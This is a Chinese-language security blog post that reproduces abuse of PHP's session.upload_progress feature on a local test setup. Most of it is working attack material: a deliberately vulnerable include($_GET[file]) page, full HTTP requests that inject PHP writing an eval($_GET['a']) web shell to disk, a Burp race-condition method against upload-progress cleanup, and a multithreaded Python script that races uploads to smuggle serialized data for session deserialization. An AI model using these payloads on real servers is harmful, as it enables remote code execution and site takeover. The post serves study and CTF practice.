R1gelX`Blog

22 object(s)
 

SESSION_UPLOAD_PROGRESS 的奇特用法

前言
其实很久之前就了解这个,但太久了,有的细节不太记得,所以复现一下


当 [session.upload_progress.enabled]
(https://www.php.net/manual/zh/session.configuration.php#ini.session.upload-progress.enabled) INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。同样这个功能本身没有什么问题,但是一旦恶意利用,就会造成任意文件包含和session反序列化

php_session_upload_progress 包含

php_session_upload_progress

php可以将文件上传进度保存在session里,版本要求 5.4.0之后且开启 session.upload_progress.enable

如果本身并未开启session既session_start()那么是不会生成一个session文件,但如果session.use_strict_mode为关闭
(默认关闭)那么用户可以自主控制session,如果我们设置一个PHPSESSID=abc 那么会在保存session的目录下生成 sess_abc文件

还有一个配置 session.upload_progress.cleanup 这个配置默认开启,那么再读取了post的参数后会立即清空session里相关的信息

需要在上传文件的表单里添加变量名为 PHP_SESSION_UPLOAD_PROGRESS,然后这个变量的值会保存进session文件里

搭建环境

首先测试的时候是把session.upload_progress.cleanup 关闭掉的

写一个包含文件 include.php

<?php
include($_GET[file]);
?>

为了方便上传,添加上传的htmll表单上传

<!DOCTYPE html>
<html>
<body>
<form action="http://locahost" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="111" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

测试

条件竞争方式

当 sesson.upload_progress.cleanup 为默认值即为开启状态时,会在读取post数据后立马清空保存在进度中的进度信息

为了保证一次条件竞争成功达到长期的效果,所以竞争包含的内容应该是一个写文件的,而不是简单的一句马,之前看到相关的文章,也有这样的现成的exp,用一个脚本去竞争包含

上传任意文件 抓包修改 PHP_SESSION_UPLOAD_PROGRESS 的内容为

<?php file_put_contents('D:\phpstudy_pro\WWW\shell.php','<?php eval($_GET["a"]);?>');?>

抓包

POST /include.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------100598267719523052061779222560
Content-Length: 2361
Origin: http://localhost
Cookie: PHPSESSID=rxxx
Connection: close
Referer: http://localhost/
Upgrade-Insecure-Requests: 1

-----------------------------100598267719523052061779222560
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

111<?php file_put_contents('D:\phpstudy_pro\WWW\shell.php','<?php eval($_GET["a"]);?>');?>
-----------------------------100598267719523052061779222560
Content-Disposition: form-data; name="file"; filename="下载.png"
Content-Type: image/png

‰PNG


拦截请求 设置cookie的PHPSESSID,和PHP_SESSION_UPLOAD_PROGRESS

这样在保存sess的目录下会生成相应的文件(SESS_XXXX)

我这儿是 D:phpstudy_proExtensionstmptmp

然后可以看到

image-20210727205132737

所以我们可以包含一下

image-20210727210448632

image-20210727210437585

成功写入

sesson.upload_progress.cleanup 打开时条件竞争包含

因为我这儿的上传和包含在同一页面,所以上传文件的时候带上get参数

构造报文

POST /include.php?file=D:\phpstudy_pro\Extensions\tmp\tmp\sess_rxx HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------235257548421896974522172539901
Content-Length: 8832284
Cookie:PHPSESSID=rxx
Origin: http://localhost
Connection: close
Referer: http://localhost/
Upgrade-Insecure-Requests: 1

-----------------------------235257548421896974522172539901
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

111<?php file_put_contents('D:\phpstudy_pro\WWW\shel.php','<?php eval($_GET["a"]);?>');?>
-----------------------------235257548421896974522172539901
Content-Disposition: form-data; name="file"; filename="chanzhiEPS.7.7.zip"
Content-Type: application/x-zip-compressed

PK

放进Intruder 爆破,清空预设的爆破点,设置为NULL payload

image-20210727213219506

成功生成shel文件(少打了一个 l )

image-20210727213453224

如果包含和上传不在同一个界面,那么需要同时开两个爆破,一个一直去上传文件,往sess文件里写,另一个提交参数去包含

SESSION_UPLAOD_PROGRESS 的另一个用法

以前做过一些反序列化题目如果没有给反序列化点,但session内容可控,我们去往session里写一个序列化语句,然后读取session时会自动反序列化。

根据上面上传的时候 我们可以看到,可以控制一个PHP_SESSION_UPLOAD_PROGRESS的值,其实我们可控的还有其他的

先看一下之前写的sess文件

upload_progress_111<?php file_put_contents('D:\phpstudy_pro\WWW\shell.php',
'<?php eval($_GET["a"]);?>');?>
|a:5{s:10:"start_time";i:1627389682;s:14:"content_length";i:2451;s:15:
"bytes_processed";i:2451;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:10:"下
载.png";s:8:"tmp_name";s:46:"C:\Users\R1gelX\AppData\Local\Temp\php
5E77.tmp";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1627389682;s:15:"bytes_processed";i:2004;}}}

可以看到除了开头的upload_progress 后那一段为PHP_SESSION_UPLOAD_PROGRESS的内容 应该是申明属于哪一个文件上传进程的数据。后面就是文件的其他数据,还有就是

看到post报文的这一段

Content-Disposition: form-data; name="file"; filename="chanzhiEPS.7.7.zip"

其实我们可以控制文件名,然后我们将文件名改为 序列化的数据

例如 题目中这样写 ini_set('session.serialize_handler','php'); 就需要加 | ,这样它会将前面的所有值读作键,后面的全部反序列化

其次在上传的时候一定要选择大文件,可以提高竞争成功几率(默认 cleanup那个配置文件是开启的,可理解为阅后即焚)

可以选择一个大文件用burp,但是burp好像有报文长度限制,网上也找到一个脚本可以利用(稍微修改了一点点)

#coding=utf-8
import requests
import threading
import io
import sys
​
def exp(host):
    
    f = io.BytesIO(b'a' * 1024 *1024*1)#尽量大一点
    while True:
        et.wait()
        url = host
        headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'DNT': '1',
        'Cookie': 'PHPSESSID=20190506',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1'
        }
        proxy = {
        'http': '127.0.0.1:8080'
        }
        data={'PHP_SESSION_UPLOAD_PROGRESS':'123'}
        files={
            'file':(r'|输入序列化字符串',f,'text/plain')
        }
        resp = requests.post(url,headers=headers,data=data,files=files,proxies=proxy) #可以burp抓包看看
        resp.encoding="utf-8"
        if len(resp.text)<2000:
            print('[+++++]retry')
        else:
            print(resp.content.decode('utf-8').encode('utf-8'))
            et.clear()
            print('success!')
            
​
if __name__ == "__main__":
    host=sys.argv[1]
    et=threading.Event()
    for i in xrange(1,40):
        threading.Thread(target=exp,args=(host)).start()#多线程提高爆破几率
    et.set()

拿到脚本输入响应数据 直接向需要session反序列化的页面打就行